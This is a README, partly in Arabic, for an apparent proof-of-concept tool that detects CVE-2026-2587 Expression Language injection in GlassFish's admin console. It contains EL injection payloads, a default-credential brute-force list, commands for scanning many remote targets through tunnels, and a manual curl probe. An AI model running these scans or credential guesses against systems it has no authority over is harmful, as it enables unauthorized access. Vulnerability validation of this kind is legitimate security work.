إذا احتوى XML على `#{7*7}` في سمة `<ModulePrefs title="">`، يقوم GlassFish بتقييمه من جانب الخادم ويعيد `49` — مما يؤكد تنفيذ EL. وتتبع سلسلة كاملة من RCE عبر وصول EL إلى وقت تشغيل Java.

السجلات الاستشارية العامة الحالية لا تنشر نطاق الإصدارات المتأثرة أو المصححة. لهذا فإن هذا المدقق يعتمد على الإثبات أولاً: فهو يبصم GlassFish ويبلغ عن بيانات الإصدار، لكنه لا يصنف الهدف على أنه ضعيف من خلال سلسلة الإصدار وحدها.

---

## كيف يعمل

![سير عمل التحقق الآمن لـ CVE-2026-2587](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

يقوم مسار التحقق الآمن باستضافة استعلام XML غير ضار، ويرسل طلبًا موثًقًا إلى وحدة تحكم الإدارة إلى `gadget.jsf`، ويترك GlassFish يقوم بجلب ذلك XML من رابط الاستدعاء الخلفي، ويتحقق مما إذا كان الكناري `<ModulePrefs title="">` يقيم من `#{7*7}` إلى `49`.

**تأكيد نقطة الحقن مقابل عدمه:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**محتويات المستودع:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

يقوم بتشغيل GlassFish 7.0.15 مع ربط المنافذ بـ `127.0.0.1` فقط و `host.docker.internal` مربوط مسبقًا بحيث يمكن للحاوية الوصول إلى خادم XML المحلي الخاص بك.

### الخيار ب — docker run مباشر```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

تحقق من إمكانية الوصول من منظور الحاوية:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| المخرجات | المعنى |
|---|---|
| `CVE2587_TITLE_49_END` | **قابل للاختراق** — تم تقييم EL في `ModulePrefs title` |
| `CVE2587_BODY_49_END` | **قابل للاختراق** — تم تقييم EL في نص CDATA |
| `CVE2587_TITLE_#{7*7}_END` | غير قابل للاختراق / لم يتم تقييم EL |
| *(no output)* | لم يقم GlassFish بجلب XML — تحقق من إمكانية الوصول إلى الاستدعاء |

> عادةً ما يظل نص CDATA خامًا حتى في الإصدارات القابلة للاختراق؛ نتيجة `TITLE` الإيجابية وحدها كافية لتأكيد النتيجة.

---

### التحقق الآلي ضد المختبر المحلي```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

المخرجات بعد الكتابة إلى ملف:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal` يحل إلى الجهاز المضيف من داخل Docker.
> حاوية GlassFish تجلب ملف XML الخاص بك عبر هذا العنوان.

---

### بيانات الاعتماد```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

إذا تم العثور على زوج صالح، يتم طباعته في المخرجات وتسجيله في عمود `brute_creds` في ملف CSV. إذا فشلت جميع الأزواج، يخرج المسح بـ `AUTH_REQUIRED`.

بعض إصدارات GlassFish تعيد `/login.jsf` بعد طلب POST صالح. لا يعتبر المدقق عنوان URL هذا وحده فشلاً؛ بل يؤكد الجلسة من خلال فحص نقطة نهاية الأداة الإدارية والتحقق من أن الاستجابة ليست نموذج تسجيل الدخول.

قائمة بيانات الاعتماد التي تم تجربتها (بالترتيب):

| اسم المستخدم | كلمة المرور |
|---|---|
| `admin` | `admin` |
| `admin` | `*(empty)*` |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### الوصول عن بُعد عبر نفق Cloudflare

لا حاجة لحساب لنفق سريع.

**الخطوة 1 — تثبيت cloudflared:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**الخطوة 3 — تشغيل المدقق:**

استخدم نفس اسم المضيف المُنشأ مع `http://` لعنوان URL لرد الاتصال. هذا يتجنب
أخطاء مخزن الثقة في JVM في حاويات GlassFish المخبرية التي لا يمكنها التحقق من
سلسلة شهادات TLS الخاصة بـ Cloudflare. إذا قمت بلصق عنوان `https://`
trycloudflare المُنشأ، يقوم المدقق بإعادة كتابة رد الاتصال إلى `http://` ويطبع
تحذيرًا. الشرطة المائلة اللاحقة اختيارية؛ يقوم المدقق بإلحاق `/canary.xml` و
مسارات XML الخاصة بكل اختبار تلقائيًا.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`، `--left`، `--right` يجب أن تتطابق مع القيم الموجودة داخل ملف XML المستضاف لديك
> حتى يعرف السكريبت أي رمز تم تقييمه يبحث عنه في الرد.

---

### عن بُعد عبر ngrok (الملاذ الأخير)

استخدم ngrok فقط كخيار أخير للأهداف البعيدة. يمكن للطبقة المجانية أن تحجب
عمليات الجلب من جانب الخادم التي لا تأتي من متصفح من خلال إرجاع صفحة تحذيرية
HTML وسيطة. في هذه الحالة، يقوم GlassFish بجلب صفحة التحذير بدلاً من
ملف `probe.xml` الخاص بك، وقد يصنف المدقق الرد كصفحة تسجيل دخول أو
نتيجة غير حاسمة. يُفضل استخدام Cloudflare Tunnel أو VPS أو مضيف ويب ثابت
يمكن لـ JVM الهدف الجلب منه بشكل نظيف ما لم يكن لديك حساب مدفوع في ngrok
يتجاوز هذا القيد.

**الخطوة 1 — تثبيت ngrok:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**الخطوة 3 — تشغيل المدقق:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---
## الاستخدام — أهداف متعددة

### تنسيق ملف الأهداف

يتضمن المستودع `targets.txt.example` كقالب. انسخه وعدّله:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

تشغيل ضد جميع الأهداف:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> أعداد المواضيع الموصى بها:
> - المختبر المحلي: حتى `10`
> - الأهداف البعيدة عبر الإنترنت: `3–5` (احترام حدود المعدل)
> - هدف واحد: `1` (افتراضي)

---

## تنسيقات الإخراج

### الكونسول

إخراج افتراضي قابل للقراءة البشرية. أضف `--verbose` لرؤية نتائج كل حالة اختبار.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

---

### JSON```bash
--json

الأهداف المتعددة ترجع مصفوفة JSON.

---

### دمج المخرجات

جميع صيغ المخرجات مستقلة — ادمج بحرية:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

كما يتعلم جذر سياق واجهة المستخدم غير الافتراضي من رؤوس إعادة التوجيه `Location` ويسبق هذا الجذر قبل الاختبار. استخدم قيم `--path` القابلة للتكرار فقط عندما تريد تجاوز قائمة الاكتشاف هذه.

يتم محاولة اكتشاف الإصدار من رؤوس الاستجابة، وواجهة برمجة تطبيقات REST للإدارة، وصفحة تسجيل الدخول، وبعد تسجيل الدخول الناجح، من `/__asadmin/version.json` أو `/__asadmin/version`. تعمل بيانات الإصدار على تحسين التوجيه وإعداد التقارير فقط؛ يترك الماسح `version_affected` كـ `UNKNOWN` حتى تنشر سجلات الاستشارات العامة حدًا للإصدار.

---

### قيم Canary المخصصة

قم بمطابقة المدقق مع ملف XML مصنوع يدويًا باستخدام `--prefix`، `--left`، `--right`. مطلوب عند استخدام `--xml-url` مع ملف مستضاف خاص بك.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## حالات الاختبار

يقوم المدقق بتشغيل 10 مجسات EL متميزة، كل منها يؤكد قدرة مختلفة:

| # | الحمولة | متوقع | ما يثبته |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | كناري حسابي أساسي |
| TC-02 | `#{1337+2587}` | `3924` | عامل الجمع |
| TC-03 | `#{31337*271}` | `8492327` | ضرب كبير مقاوم للتصادم |
| TC-04 | `#{9999-1337}` | `8662` | عامل الطرح |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | أقواس متداخلة / أسبقية العوامل |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | شرطي / ثلاثي — يتم تنفيذ تدفق التحكم |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | الوصول إلى طريقة السلسلة النصية |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | استدعاءات الطرق المتسلسلة |
| TC-09 | `#{17 mod 5}` | `2` | عامل الكلمة المفتاحية EL |
| TC-10 | `#{100*100}` | `10000` | تأكيد حسابي إضافي |

تعتبر TC-06 وTC-07 وTC-08 الأكثر أهمية — اجتيازها يعني أن محرك EL ينفذ **طرق واجهة برمجة التطبيقات للسلسلة النصية والمنطق الشرطي**، وهو السابق المباشر لسلسلة RCE الكاملة.

---

## تفسير المخرجات

| الحالة | المعنى |
|---|---|
| `VULNERABLE` | تم تقييم تعبير EL — تم تأكيد تأثر المثيل |
| `VULNERABLE_UNAUTH` | نقطة النهاية مكشوفة بدون مصادقة — أسوأ من CVE الأساسي |
| `NOT_VULNERABLE` | تم عكس التعبير حرفيًا — لم يتم تقييم EL |
| `AUTH_REQUIRED` | أعادت نقطة النهاية صفحة تسجيل الدخول — تحقق من ملف تعريف الارتباط أو بيانات الاعتماد |
| `INCONCLUSIVE` | تم استلام الرد ولكن لم يتم العثور على الكناري — انظر أدناه |
| `ERROR` | فشل الطلب — مشكلة في الشبكة / TLS |

`detected_version` و `version_source` هما سياق داعم. نظرًا لأن الإعلانات العامة حاليًا تدرج الإصدارات المتأثرة والمصححة على أنها غير معروفة، فلا تعامل `version_affected=UNKNOWN` كنتيجة سلبية. النتيجة الإيجابية الوحيدة هي رمز إثبات تم تقييمه.

**استكشاف أخطاء INCONCLUSIVE وإصلاحها:**

| العرض | السبب | الإصلاح |
|---|---|---|
| `XML hits: 0` | لم يجلب GlassFish ملف XML الخاص بك أبدًا | `--callback-url` لا يمكن الوصول إليها من الهدف |
| `XML hits: 1+` but no match | تم تقييم EL ولكن الحقل خاطئ | متوقع لمحتوى CDATA |
| Auth redirect mid-run | انتهت الجلسة | احصل على `JSESSIONID` جديدة من المتصفح |
| Login POST redirects to `j_security_check` | كلمة مرور خاطئة | استخدم `--cookie` بدلاً من ذلك |

---

## التحقق اليدوي

لا يتطلب Python:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>